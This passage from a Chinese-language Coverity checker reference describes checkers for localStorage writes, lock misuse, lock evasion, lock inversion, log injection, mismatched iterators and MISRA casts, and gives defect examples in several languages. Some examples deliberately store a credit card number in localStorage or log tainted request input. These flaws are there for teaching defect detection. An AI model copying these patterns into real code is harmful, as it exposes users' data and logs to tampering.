- LOCALSTORAGE_MANIPULATION:trust_js_client_storage:<boolean> - 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中 HTML 客户端存储对象 localStorage 和 sessionStorage 的数据。默认值为 LOCALSTORAGE_MANIPULATION:trust_js_client_storage:true。
- LOCALSTORAGE_MANIPULATION:trust_js_client_url_query_or_fragment:<boolean> - 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中查询或 URL 的片段部分的数据，例如来自 location.hash 或 location.query。默认值为 LOCALSTORAGE_MANIPULATION:trust_js_client_url_query_or_fragment:false。
- LOCALSTORAGE_MANIPULATION:trust_mobile_other_app:<boolean> - 将此选项设置为 true 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的

数据。默认值为 LOCALSTORAGE_MANIPULATION:trust_mobile_other_app:false。设置此检查器选项会覆盖全局 --trust-mobile-other-app 和 --distrust-mobile-other-app 命令行选项。

- LOCALSTORAGE_MANIPULATION:trust_mobile_other_privileged_app:<boolean> - 将此选项设置为 false 会导致分析将以下数据视为被污染数据：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 LOCALSTORAGE_MANIPULATION:trust_mobile_other_privileged_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-privileged-app 命令行选项。
- LOCALSTORAGE_MANIPULATION:trust_mobile_same_app:<boolean> - 将此选项设置为 false 会导致分析将从同一移动应用程序收到的数据视为被污染数据。默认值为 LOCALSTORAGE_MANIPULATION:trust_mobile_same_app:true。设置此检查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选项。
- LOCALSTORAGE_MANIPULATION:trust_mobile_user_input:<boolean> - 将此选项设置为 true 会导致分析将从用户输入获取的数据视为未被污染的数据。默认值为 LOCALSTORAGE_MANIPULATION:trust_mobile_user_input:false。设置此检查器选项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选项。

4.203. LOCALSTORAGE_WRITE

安全检查器

4.203.1. 概述

支持的语言：. JavaScript、TypeScript

LOCALSTORAGE_WRITE 在任何数据写入 localStorage 时报告。建议不要将敏感信息存储在 localStorage 中。如果存在 XSS exploit，则攻击者可以轻松检索 localStorage 的内容。如果在多个用户之间共享浏览器，则用户注销后必须清除 localStorage 中的任何信息，否则不同用户相互之间可能会读取到其他人的 localStorage。敏感信息应存储在服务器上并由会话托管。

默认禁用：LOCALSTORAGE_WRITE 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

要启用 LOCALSTORAGE_WRITE 与其他审计模式检查器，请使用 --enable-audit-mode 选项。

4.203.2. 缺陷剖析

如果使用本地 JavaScript API 或通过 ngx-pwa 或 angular-webstorage-service 中的一个 Angular localStorage 插件写入 localStorage，则会生成 LOCALSTORAGE_WRITE 缺陷。

4.203.3. 示例

本部分提供了一个或多个 LOCALSTORAGE_WRITE 示例。

4.203.3.1. TypeScript

该示例使用 angular-webstorage-service 插件将 creditCardNumber 写入 localStorage。如果代码包含 XSS 漏洞，则 localStorage 的内容（包括 creditCardNumber 值）可能会被攻击者检索。针对 this.storage.set 调用会生成缺陷。

```
export class StorageComponent implements OnInit {

    public static CCN_Key = "ccn"; //credit card number

    constructor(
        protected localStorage: LocalStorage,
        @Inject(LOCAL_STORAGE) private storage: StorageService
    ) { }

    private storeData(creditCardNumber) {
        this.storage.set(StorageComponent.CCN_Key, creditCardNumber);
    }

}
```

4.204. LOCK

质量、并发检查器

4.204.1. 概述

支持的语言：. C、C++、Go、Objective-C、Objective-C++

LOCK 查找锁/互斥锁已获取但未被释放，或者锁/互斥锁在不使用中间释放的情况下被锁定了两次的很多情况。此类问题通常是由于错误处理路径未能释放锁导致的。结果通常是死锁。

支持以下两种类型的锁定：

- 专用 (Exclusive)：无法通过递归方式获取互斥锁，任何此类尝试都会导致死锁。
- 递归 (Recursive)：同一线程可以通过递归的方式获取递归锁。

锁可能是函数的全局变量或本地变量。

当按顺序发生以下事件时，LOCK 会报告缺陷：



Note

带有圆括号的值（例如 (+lock)）是用于帮助说明以下示例的说明约定。

1. 变量 L 被锁定 (+lock)。
2. L 未被解锁 (-unlock)。

现在可能发生以下其中一种情况：

- 到达了路径结尾 (-lock_returned) , 并且 L 没有出现在函数返回值或其表达式中的任何位置。
- L 再次被锁定 (+double_lock)。 (仅适用于互斥锁。)

对于特意锁定函数参数的函数 , 不会报告任何错误。

当按顺序发生以下事件时 , 也会报告缺陷 :

1. L 被解锁 (+unlock)。
2. L 被传递给断言持有锁 L 的函数 (+lockassert)。

忘记释放已获取的锁可能导致程序挂起 : 后续尝试获取锁会失败 , 因为程序在等待绝不会发生的释放。

默认禁用 : LOCK 默认禁用。要启用它 , 您可以在 cov-analyze 命令中使用 --enable 选项。

并发检查器启用 : 要同时启用 LOCK 以及其他默认禁用的并发检查器 , 请在 cov-analyze 命令中使用 --concurrency 选项。

4.204.2. 示例

本部分提供了一个或多个 LOCK 示例。

4.204.2.1. C 语言

```
any thread attempting to lock it
will wait indefinitely */
return -1;
}
spin_unlock(data->lock);
return 0;
}
```

```
fn() {
    for (i = 0; i < 10; i++) {
        lock(A);          // +lock, +double_lock

        if (cond)
            continue; // -unlock
        unlock(A);
    }
}
```

```
fn(L l) {
    lockassert(l);
    // ...
```

```
}
```

```
caller() {
    lock(A);
    unlock(A);      // +unlock
    fn(A);          // +lockassert
}
```

如下所示，该检查器会识别和使用等待条件：

```
pthread_cond_wait(&condition, &mutex); // => infer mutex is locked upon return
pthread_mutex_lock(&mutex); // Defect: double_lock event
```

当互斥锁被解锁两次或在仍处于初始化状态时被解锁时，该检查器将报告接下来的缺陷。这适用于非递归锁。

```
// Example 1:
pthread_mutex_unlock(&mutex);
// Code that does not involve locks:
pthread_mutex_unlock(&mutex); // Defect: double_unlock

// Example 2:
pthread_mutex_init(&mutex, 0);
// Code that does not involve locks:
pthread_mutex_unlock(&mutex); // Defect: double_unlock event
```

要避免接下来的缺陷，仅应在锁未处于被持有状态时将其销毁。

```
pthread_mutex_lock(&mutex);
// Code that does not involve locks:
pthread_mutex_destroy(&mutex); // Defect: locked_destroy event
```

您的代码应该在持有锁时等待指定条件 (&cond)。如果该检查器检测到锁未被持有，它会报告缺陷。

```
pthread_mutex_init(&mutex); // Initialized and unlocked
// Code that does not involve locks:
pthread_mutex_wait(&cond, &mutex); // Defect: unlocked_wait event
```

该检查器将在多种使用未初始化锁的情况下报告缺陷。当锁被销毁时，除了重新初始化之外的所有操作都会产生缺陷报告，如下所示。

```
pthread_mutex_destroy(&mutex);
// Code that does not involve locks:
pthread_mutex_destroy(&mutex); // Defect here: uninitialized_use event
```

在下方，该检查器检测到已知已经初始化的锁再次被初始化的情况。当它被锁定或解锁时，就可能发生这种情况。

```
// Example 1:
```

```

pthread_mutex_init(&mutex, 0);
pthread_mutex_init(&mutex, 0); // Defect here: double_initialization event

// Example 2:
pthread_mutex_lock(&mutex, 0);
pthread_mutex_init(&mutex, 0); // Defect here: double_initialization event

// Example 3:
pthread_mutex_unlock(&mutex, 0);
pthread_mutex_init(&mutex, 0); // Defect: double_initialization event

```

4.204.2.2. Go

在下面的示例中，该函数可能会在未解锁的情况下返回，从而导致 LOCK 缺陷。

```

func missingUnlock(mutex * sync.Mutex, cond bool) {
    mutex.Lock()
    if(cond) {
        return; //#defect#LOCK
    }
    mutex.Unlock()
}

```

4.204.3. 选项

本部分描述了一个或多个 LOCK 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- **LOCK:track_globals:<boolean>** - 将此选项设置为 true 时，该检查器将跟踪全局锁。使用此选项可能会增加误报。Linux 代码库对此设置极为敏感。其他代码库可能因此选项受益。默认值为 **LOCK:track_globals:false**

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

4.204.4. 事件

本部分描述了 LOCK 检查器生成的一个或多个事件。

- **double_initialization** - 尝试重新初始化已经初始化的锁。请参阅上面的代码示例。
- **double_lock** - 尝试获取已经持有的非递归锁。请参阅上面的代码示例。
- **double_unlock** - 尝试释放未持有的非递归锁。
- **lock** - 变量被锁定。
- **lockassert** - 变量被传递给断言持有锁的函数。

- `locked_destroy` - 尝试销毁目前持有的锁。请参阅上面的代码示例。
- `lock_returned` - 到达路径的结尾后，变量未出现在函数的返回值或其表达式中。
- `missing_unlock` - 变量在没有锁的情况下被访问。
- `uninitialized_use` - 尝试使用未初始化的锁。请参阅上面的代码示例。
- `unlocked_wait` - 尝试在锁未被持有时等待条件。请参阅上面的代码示例。
- `unlock` - 变量未被解锁。

4.205. LOCK_EVASION

质量检查器

4.205.1. 概述

支持的语言：. C#、Java、VB.NET

LOCK_EVASION 查找代码规避锁（通过检查线程共享数据的一部分防止修改线程共享数据）获取或充分持有的很多情况。此类规避可能包括不获取锁或提前释放锁（不保护修改本身）。规避通过这种方式持有锁可能允许在运行时交错或重新排序操作，进而导致发生数据竞争。

除了报告其他不正确的锁模式之外，此检查器还可报告有关双重检查锁模式的缺陷。此经过充分研究的 idiom 包括针对非易失性字段的 null 检查，后接同步块输入，之后再接同一 null 检查。此模式在 Java 中存在重大缺陷，而且在 C# 中被视为不安全且不必要的编码做法。在几乎所有 Java 示例中，都可能发生数据损坏；当不可能时，通常可以将相应代码移除，以获取相同的效果，并且提高效率和清晰度。

下面是读取损坏数据最常见的方法：

1. 执行相应代码的第一个线程发现字段为 null（两次），并将该字段赋值给新构造的对象。
2. 第二个线程进入代码，发现字段不为 null。然后，它在未持有保护该对象创建和初始化的同一锁的情况下，读取被引用对象的数据字段。

在此类情况下，Java 内存模型并不保证第二个线程一定会读取完全初始化的数据，即使它读取的是已更新的对象引用。编译器或 CPU 可能记录写入，以及/或者内存子系统可能不按顺序传递它们。有关双重检查锁模式的 Java 代码示例，请参阅double-checked lock pattern example。

默认启用：LOCK_EVASION 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.205.2. 示例

本部分提供了一个或多个 LOCK_EVASION 示例。

4.205.2.1. C#

```
class SomeClass {
    public int field1;
    public int field2;

    public SomeClass(int x, int y) {
        field1 = x;
        field2 = y;
    }
};

class LockEvasionExamples {
    object myLock;
    public SomeClass obj;

    // obj could be initialized multiple times if multiple threads reach the
    // lock statement simultaneously.
    public void simpleSingleCheck(int x, int y) {
        if(obj == null) {
            lock(myLock) {
                obj = new SomeClass(x, y);
            }
        }
        int localX = obj.field1;
    }

    // Obj can be initialized multiple times if multiple threads make it
    // through the locked region before any thread assigns a new value to obj.
    public void incorrectSingleCheckLazyInit(int x, int y) {
        lock(myLock) {
            if(obj != null) {
                return;
            }
        }
        obj = new SomeClass(x, y);
    }

    public void callerOfIncorrectSingleCheck() {
        incorrectSingleCheckLazyInit(3, 5);
        int localX = obj.field1; // Can get bad data
    }

    // Correct lazy initialization
    public void correctSingleCheckLazyInit(int x, int y) {
        lock(myLock) {
            if(obj == null) {
                obj = new SomeClass(x, y);
            }
        }
        int localX = obj.field1;
    }
}
```

```

// Technically, this is correct; the release semantics of C# constructors
// guarantee that the initialization of fields in a constructed object
// happen before the return of the constructor. Although this checker
// understands that this pattern is ok, don't rely upon it in your code...
public void doubleCheckLazyInit(int x, int y) {
    if(obj == null) {
        lock(myLock) {
            if(obj == null) {
                obj = new SomeClass(x, y);
            }
        }
    }
}

// ...because all it takes is another correlated field write for this
// guarantee to no longer hold perfectly. Below, obj being non-null
// guarantees nothing about the state of obj2. To ensure that all of the
// writes that another thread may have performed in the critical section
// are seen by the current thread, we must hold myLock.
SomeClass obj2;
public void doubleCheckCorrelatedFieldLazyInit(int x, int y) {
    if(obj == null) {
        lock(myLock) {
            if(obj == null) {
                obj = new SomeClass(x, y);
                obj2 = new SomeClass(y, x);
            }
        }
    }
    int localX = obj2.field1;
}

// The setting of inCriticalSection to false can be moved at runtime inside
// the synchronized block, effectively replacing setting it to true. Thus,
// the boolean provides no protection.
public bool indicatorBool;
public bool inCriticalSection;
public void earlyReleaseLazyInit(int x, int y) {
    lock(myLock) {
        if(inCriticalSection) {
            return;
        }
        inCriticalSection = true;
    }
    obj = new SomeClass(x, y);
    inCriticalSection = false;
}

public void callerOfEarlyReleaseLazyInit(int x, int y) {
    earlyReleaseLazyInit(x, y);
    int local = obj.field1;
}

```

```
// The setting of indicatorBool to true can be reordered in front of the
// setting of obj. Thus, this function can return while obj is still null.
public void indicatorBoolCheckLazyInit(int x, int y) {
    if(indicatorBool) {
        return;
    }
    lock(myLock) {
        if(indicatorBool) {
            return;
        }
        obj = new SomeClass(x, y);
        indicatorBool = true;
    }
}

public void callerOfIndicatorBoolCheckLazyInit(int x, int y) {
    indicatorBoolCheckLazyInit(x, y);
    int local = obj.field1;
}
}
```

4.205.2.2. Java

```
class SomeClass {
    public int field1;
    public int field2;

    public SomeClass(int x, int y) {
        field1 = x;
        field2 = y;
    }
};

class LockEvasionExamples {
    Object lock;
    public SomeClass obj;

    // obj can be initialized multiple times if multiple threads reach the lock
    // statement simultaneously.
    public void simpleSingleCheckLazyInit(int x, int y) {
        if(obj == null) {
            synchronized(lock) {
                obj = new SomeClass(x, y);
            }
        }
        int local = obj.field1;
    }

    // obj can be initialized multiple times if multiple threads execute the
    // critical section before obj is initialized.
    public void incorrectSingleCheckLazyInit(int x, int y) {
        synchronized(lock) {
            if(obj != null) {

```

```

        return;
    }
}
obj = new SomeClass(x, y);
}

public void callsIncorrectSingleCheckLazyInit(int x, int y) {
    incorrectSingleCheckLazyInit(x, y);
    int local = obj.field1; // Can get bad data
}

// Correct lazy initialization.
public void correctSingleCheckLazyInit(int x, int y) {
    synchronized(lock) {
        if(obj == null) {
            obj = new SomeClass(x, y);
        }
    }
}

// A thread can see obj as not being null before its fields are
// initialized, causing obj to be used before its constructor has
// finished.
public void doubleCheckLazyInit(int x, int y) {
    if(obj == null) {
        synchronized(lock) {
            if(obj == null) {
                obj = new SomeClass(x, y);
            }
        }
    }
    int local = obj.field1;
}

// The assignment setting inCriticalSection to false can be moved inside
// the synchronized block at runtime, effectively replacing setting it to
// true. Thus, the boolean provides no protection.
public boolean inCriticalSection;
public void earlyReleaseLazyInit(int x, int y) {
    synchronized(lock) {
        if(inCriticalSection) {
            return;
        }
        inCriticalSection = true;
    }
    obj = new SomeClass(x, y);
    inCriticalSection = false;
}

public void callsEarlyReleaseLazyInit(int x, int y) {
    earlyReleaseLazyInit(x, y);
    int local = obj.field1;
}

```

```

public boolean indicatorBool;

// The setting of indicatorBool to true can be reordered in front of the
// setting of obj at runtime.
public void indicatorBoolCheckLazyInit(int x, int y) {
    if(indicatorBool) {
        return;
    }
    synchronized(lock) {
        if(indicatorBool) {
            return;
        }
        obj = new SomeClass(x, y);
        indicatorBool = true;
    }
}

public void callsIndicatorBoolCheckLazyInit(int x, int y) {
    indicatorBoolCheckLazyInit(x, y);
    int local = obj.field1;
}
}

```

双重检查锁模式：下面的 Java 示例会导致发生最常见的数据损坏。上面关于双重检查锁模式 [p. 378] 的注释更详细地描述了此问题。

```

public class TestDCL {
    private static Integer value;

    public static Integer dcStatic() {
        if (TestDCL.value == null) { /* Check outside of synchronized context */
            synchronized (TestDCL.class) { // Lock acquired
                if (TestDCL.value == null) { /* TestDCL.value checked against null
again */
                    TestDCL.value = new Integer(5);
                }
            }
        }
        assert TestDCL.value.intValue() == 5; // Can fail
        return TestDCL.value;
    }
}

```

如果通过两个线程调用了上述方法，断言可能在其中一个线程里失败，因为内存可能写入另一个线程或按错误的顺序传递。

修复此问题的其中一个方法是：移除外部的非同步 null 检查。

另一个修复方法（针对 Java 虚拟机版本 1.5 或更高版本）：将字段 value 声明为 volatile。在某些情况下（包括上述 TestDCL 示例），volatile 消除了进行显式同步的需求。

4.205.2.3. VB.NET

下面的示例显示了可能导致 VB.NET 代码中出现 LOCK_EVASION 缺陷的原因。

在此示例中，如果在任何线程向 obj 赋新值之前有多个线程通过锁定区域，则可以多次初始化 obj。

```
Class SomeClass
    Private field1 As Integer
    Private field2 As Integer

    Public Sub New(ByVal x As Integer, ByVal y As Integer)
        field1 = x
        field2 = y
    End Sub
End Class

Class LockEvasionExamples
    Private myLock As Object
    Public obj As SomeClass

    Public Sub simpleSingleCheck(ByVal x As Integer, ByVal y As Integer)
        If obj Is Nothing Then
            SyncLock myLock 'LOCK_EVASION here
            obj = New SomeClass(x, y)
        End SyncLock
    End If
    End Sub
End Class
```

在此示例中，如果在任何线程向 obj 赋新值之前有多个线程通过锁定区域，则可以多次初始化 obj。

```
Public Sub incorrectSingleCheck(ByVal x As Integer, ByVal y As Integer)
    SyncLock myLock
        If obj IsNot Nothing Then 'LOCK_EVASION here
            Return
        End If
    End SyncLock
    obj = New SomeClass(x, y)
End Sub

Public Sub correctSingleCheck(ByVal x As Integer, ByVal y As Integer)
    SyncLock myLock
        If obj Is Nothing Then
            obj = New SomeClass(x, y)
        End If
    End SyncLock
End Sub
```

正如我们接下来看到的，它所要做的只是另一个相关字段写入，以使双重检查保证不再完全成立。在 incorrectDoubleCheckCorrelatedField 函数中，具有非 Nothing 的 obj 对 obj2 的状态

不提供任何保证。为了确保当前线程可以看到其他线程可能在关键部分执行的所有写入操作，我们还必须检查 `obj2`。

```

Public Sub doubleCheck(ByVal x As Integer, ByVal y As Integer)
    If obj Is Nothing Then
        SyncLock myLock
            If obj Is Nothing Then
                obj = New SomeClass(x, y)
            End If
        End SyncLock
    End If
End Sub

Private obj2 As SomeClass
Public Sub doubleCheckCorrelatedField(ByVal x As Integer, ByVal y As Integer)
    If obj Is Nothing Then 'LOCK_EVASION here
        SyncLock myLock
            If obj Is Nothing Then
                obj = New SomeClass(x, y)
                obj2 = New SomeClass(y, x)
            End If
        End SyncLock
    End If
End Sub

```

在本示例中，将 `inCriticalSection` 设置为 `false` 可以在运行时在同步块内移动，从而有效地将其设置替换为 `true`。因此，布尔值不提供任何保护。

```

Public inCriticalSection As Boolean
Public indicatorBool As Boolean
Public Sub earlyRelease(ByVal x As Integer, ByVal y As Integer)
    SyncLock myLock
        If inCriticalSection Then 'LOCK_EVASION here
            Return
        End If
        inCriticalSection = True
    End SyncLock
    obj = New SomeClass(x, y)
    inCriticalSection = False
End Sub

```

在本示例中，将 `indicatorBool` 设置为 `true` 可以在 `obj` 的设置之前重新排序。因此，当 `obj` 仍然为 `Nothing` 时可以返回此函数。

```

Public Sub indicatorBoolCheck(ByVal x As Integer, ByVal y As Integer)
    If indicatorBool Then 'LOCK_EVASION here
        Return
    End If
    SyncLock myLock

```

```

If indicatorBool Then
    Return
End If
obj = New SomeClass(x, y)
indicatorBool = True
End SyncLock
End Sub
End Class

```

4.205.3. 事件

C#、Java

下面描述了线程交错示例中发生的一系列事件。事件的顺序与其行号可能关联不大。在为 LOCK_EVASION 缺陷分类时，您应该密切注意缺陷报告表明事件发生的顺序。

- thread1_reads_field - [C#、Java] Thread1 在此位置读取了线程共享字段。
- thread2_reads_field - [C#、Java] Thread2 在此位置读取了线程共享字段。
- thread1_checks_field_ - [C#、Java] Thread1 在此位置检查了线程共享字段的值。
- thread2_checks_field_ - [C#、Java] Thread2 在此位置检查了线程共享字段的值。
- thread2_checks_field_early - [C#、Java] 可能是主要事件：Thread2 对线程共享字段的值执行了解锁检查，同时修改该字段的关键区仍在运行。
- thread1_acquires_lock - [C#、Java] Thread1 获取了锁。
- thread2_acquires_lock - [C#、Java] Thread2 获取了锁。
- thread1_double_checks_field - [C#、Java] Thread1 再次检查了线程共享字段的值，同时持有其他锁。
- thread1_modifies_field - [C#、Java] Thread1 修改了线程共享字段。
- thread2_modifies_field - [C#、Java] Thread2 修改了线程共享字段。
- thread1_overwrites_value_in_field - [C#、Java] 可能是主要事件：Thread1 对代码尝试确保只对其赋值一次的线程共享字段执行了第二次修改。
- remove_unlocked_check - [C#、Java] 修复建议：建议您通过移除外部解锁检查修复代码。
- use_same_locks_for_read_and_modify - [C#、Java] 修复建议：建议您通过同一组锁保护对字段的读取和修改。该事件可能适用于读取或修改进程（无论哪个进程受到较少锁的保护）。
- correlated_field - [C#、Java] 识别与涉及避免条件的字段修改发生在同一关键区中的字段修改。每个缺陷最多将会生成其中三种事件。

4.206. LOCK_INVERSION

质量 (C#、Java)、安全 (Java)、并发 (C#) 检查器

4.206.1. 概述

支持的语言 : . C#、Go、Java

LOCK_INVERSION 查找程序在不同位置按不同顺序获取锁/互斥锁对的很多情况。如果两个线程同时使用相反的获取顺序，则此问题可能导致死锁。

例如，下面的序列形成了会导致程序挂起的死锁。

1. 线程 1 获取并持有锁 A 同时尝试获取锁 B。
2. 线程 2 获取并持有锁 B 同时尝试获取共享锁 A。

启用

C#

- 默认禁用：LOCK_INVERSION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Go

- 默认禁用：LOCK_INVERSION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --concurrency 选项。

Java

- 默认启用：LOCK_INVERSION 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.206.2. 示例

4.206.2.1. C#

在下面的示例中，发生了 LOCK_INVERSION 缺陷，因为 method() 在持有 myLock 的同时尝试获取 Test，而 method2() 则在持有 Test 的同时尝试获取 myLock。

```
public class Test {  
    public object myLock;  
  
    public void method() {  
        lock(myLock) {  
            lock(typeof(Test)) {  
            }  
        }  
    }  
  
    public void method2() {  
        lock(typeof(Test)) {  
            lock(myLock) {  
            }  
        }  
    }  
}
```

```

    }
}
}
```

4.206.2.2. Go

在下面的示例中，order1 和 order2 之间的锁调用顺序不同，这将触发 LOCK_INVERSION 缺陷。

```

type MyStruct struct {
    mutex1 *sync.Mutex
    mutex2 *sync.Mutex
    data int
}

func order1(t * MyStruct) {
    t.mutex1.Lock()
    t.mutex2.Lock() //#defect#LOCK_INVERSION
    t.data++
    t.mutex2.Unlock()
    t.mutex1.Unlock()
}

func order2(t * MyStruct) {
    t.mutex2.Lock()
    t.mutex1.Lock()
    t.data++
    t.mutex1.Unlock()
    t.mutex2.Unlock()
}
```

4.206.2.3. Java

在下面的锁反向示例中，如果两个独立的线程都调用 lock1 和 lock2，则两个线程可能都无法成功获取必要的锁：

```

public class Deadlock {
    static Object o1;
    static Object o2;
    public static void lock1() {
        synchronized(o1) {
            ...
            synchronized(o2) {
                ...
            }
        }
    }
    public static void lock2() {
        synchronized(o2) {
            ...
            synchronized(o1) {
                ...
            }
        }
    }
}
```

```

    }
}
}
```

4.206.3. 选项

本部分描述了一个或多个 `LOCK_INVERSION` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `LOCK_INVERSION:max_lock_depth:<maximum_value>` - 此选项用于指定在持有第一个锁时获取第二个锁的调用链的最大深度。之所以提供此选项，是因为锁获取被深度嵌套的调用链分隔，经常存在涉及分析无法解译的其他同步机制，因而得到的报告通常是误报。默认情况下，如果在包含 6 个以上 `getlock` 调用的调用链中获取了第二个锁，则分析不会将其视为在持有另一个锁时获取了相应锁。因此，后果就是可能抑制与该锁对相关的 `LOCK_INVERSION` 缺陷。要查找此类问题，请通过增大 `max_lock_depth` 值启用此选项。默认值为 `LOCK_INVERSION:max_lock_depth:6`

示例：

```
--checker-option LOCK_INVERSION: max_lock_depth :7
```

4.206.4. 事件

本部分描述了 `LOCK_INVERSION` 检查器生成的一个或多个事件。

- `lock_acquire`：获取锁顺序的第一个元素代表的锁，无论锁顺序是否正确。
- `lock_order`：获取使用错误锁顺序的第二个元素代表的锁。
- `example_lock_order`：获取使用正确锁顺序的第二个元素代表的锁。
- `getlock` - [仅限 Java] 实际的锁获取（如果发生在不同的方法中）。

4.207. LOG_INJECTION

安全审计检查器

4.207.1. 概述

支持的语言：. Java、C#、Visual Basic

当被污染的数据存储在日志中时，`LOG_INJECTION` 会报告一个缺陷。如果被污染的数据流向日志记录函数，攻击者可能会伪造日志消息，以混淆自动日志分析工具或尝试诊断攻击或其他问题的开发人员。

默认禁用：`LOG_INJECTION` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

安全审计启用：要与其他安全审计功能一起启用 `LOG_INJECTION`，请使用 `--enable-audit-mode` 选项。启用审计模式对检查器有其他作用。有关更多信息，请参阅《Coverity 命令说明书》中对 `cov-analyze` 命令的描述。

4.207.2. 示例

本部分提供了一个或多个 LOG_INJECTION 示例。

4.207.2.1. C#

针对 Console.WriteLine 语句会报告该缺陷。

```
using System;
using System.Web;

public class LogInjectionExample {

    void defect(HttpContext req) {
        string attachment = req["attachment"];
        Console.WriteLine(attachment);
    }
};
```

4.207.2.2. Java

下面的示例展示了被污染的数据存储在日志中的一个简单情况；针对 MyLogger.info 语句报告缺陷。

```
import javax.servlet.http.HttpServletRequest;
import java.util.logging.Logger;

class Test {
    private static Logger MyLogger = Logger.getLogger("InfoLogging");

    HttpServletRequest req;

    void simple_test() {
        String attachment = req.getParameter("attachment");
        MyLogger.info(attachment);
    }
};
```

4.207.2.3. Visual Basic

针对 Console.WriteLine 语句会报告该缺陷。

```
Imports System
Imports System.Web

Public Class LogInjectionExample

    Public Sub defect (ByVal req As HttpRequest)
        Dim attachment = req("attachment")
        Console.WriteLine(attachment)
    End Sub
End Class
```

4.207.3. 建模

Java 原语 com.coverity.primitives.SecurityPrimitives.logging_sink(Object msg)
用于对在日志中存储一些数据的方法建模。

4.208. MISMATED_ITERATOR

质量检查器

4.208.1. 概述

支持的语言： C++

此 C++ 检查器报告来自 STL 容器的 iterator 被错误地传递给来自另一个容器的函数的很多情况。该检查器还会在一个容器中的 iterator 与另一个容器中的 iterator 进行比较时报告缺陷。

支持以下 STL 容器：

vector、list、map、multimap、set、multiset、hash_map、hash_multimap、hash_set、hash_multiset、basic_string、forward_list

默认启用： MISMATED_ITERATOR 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2, “启用和禁用检查器”。

4.208.2. 示例

本部分提供了一个或多个 MISMATED_ITERATOR 示例。

下面的示例擦除了来自错误容器的 iterator：

```
void test(vector<int> &v1, vector<int> &v2) {
    vector<int>::iterator i = v1.begin();
    // Defect: Uses "i" from "v1" in a method on "v2"
    v2.erase(i);
}
```

下面的示例在拼接后擦除了来自错误容器的 iterator：

```
void test(list<int> &l1, list<int> &l2) {
    list<int>::iterator i = l1.begin();
    l2.splice(l2.begin(), l1);
    // Defect: i belonged to l1 but was transferred to l2 with "splice"
    l1.erase(i);
}
```

下面的示例比较了来自不同容器的 iterator：

```
void test(list<int> &l1, list<int> &l2) {
    // Error: comparing "i" from "l1" with "l2.end()"
    for(list<int>::iterator i = l1.begin(); i != l2.end(); ++i){}
}
```

4.208.3. 选项

本部分描述了一个或多个 `MISMATCHED_ITERATOR` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `MISMATCHED_ITERATOR:container_type:<regular_expression>` - 此 C++ 选项指定要视为 STL 容器的另外一组类型。如果类型的简单标识符（无范围限定符）与指定的正则表达式完全（而不是子字符串）匹配，并且类型具有 `end()` 方法，则该类型会被视为容器。您可以通过使用 ‘|’ regex 运算符将它们分隔来指定多个类型。默认值未设置。

该检查器始终包括默认容器名称。如果变量的类型与 `end()` 任何重载的返回值相同，则该检查器会将该变量视为 iterator。

要指定多个类型作为容器，请改为使用正则表达式，例如：

```
-co MISMATCHED_ITERATOR:container_type:myVector|myArray
```

确保通过您的命令解释器转义管道。如果您多次指定 `container_type` 选项，则只会使用最后一个值。将此选项与 `INVALIDATE_ITERATOR` 检查器的 `container_type` 选项进行比较。

- `MISMATCHED_ITERATOR:report_comparison:<boolean>` - 当此 C++ 选项为 `true` 时，该检查器将报告比较来自不同容器的 iterator 的情况。默认值为 `true`。默认值为 `MISMATCHED_ITERATOR:report_comparison:true`（如果为 `false`，则禁用）。

4.208.4. 事件

本部分描述了 `MISMATCHED_ITERATOR` 检查器生成的一个或多个事件。

- `assign` - 将 iterator 赋值给另一个 iterator。
- `mismatched_comparison` - 将来自某个容器的 iterator 与来自另一个容器的 iterator 进行比较。
- `mismatched_iterator` - 使用了来自错误容器的 iterator。
- `return_iterator` - 函数返回了 iterator。
- `return_iterator_offset` - 函数返回了相对于另一个被作为参数传递的 iterator 的偏移的 iterator。
- `splice` - 调用了 `list::splice` 函数。
- `splice_arg` - 将无效的 iterator 传递给了 `splice`。
- `temporary_copy` - Iterator 对象被隐式存储在了临时对象中。当函数按值返回容器时，该容器被复制到临时对象，并且与任何其他容器不同，包括由相同函数调用返回的容器。

4.209. MISRA_CAST

质量检查器

4.209.1. 概述

支持的语言 : C、C++、Objective-C、Objective-C++

MISRA_CAST 查找违反 Motor Industry Software Reliability Association (MISRA)-C:2004 规则 10.1 到 10.5 的情况。这些规则全部与在某些情况下可能导致在表达式评估过程中意外更改整数或浮点值的显式转换和隐式转换相关。

默认禁用 : MISRA_CAST 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

下面是相关 MISRA 规则的总结 :

MISRA-C 10.1. 在如下情况下，不应将整数类型的表达式的值隐式转换为其他类型：

1. 不是转换为相同符号的较宽类型，或
2. 表达式较复杂，或
3. 表达式不是常量，而且是函数参数，或
4. 表达式不是常量，而且是返回表达式

MISRA-C 10.2. 如果以下任一条件为真，则不应将浮点类型的表达式的值隐式转换为其他类型：

1. 不是转换到较宽的浮点类型。
2. 表达式较复杂。
3. 表达式是函数参数。
4. 表达式是返回表达式。

MISRA-C 10.3. 整数类型的复杂表达式的值只能转换为较窄的相同符号的类型作为表达式的基础类型。

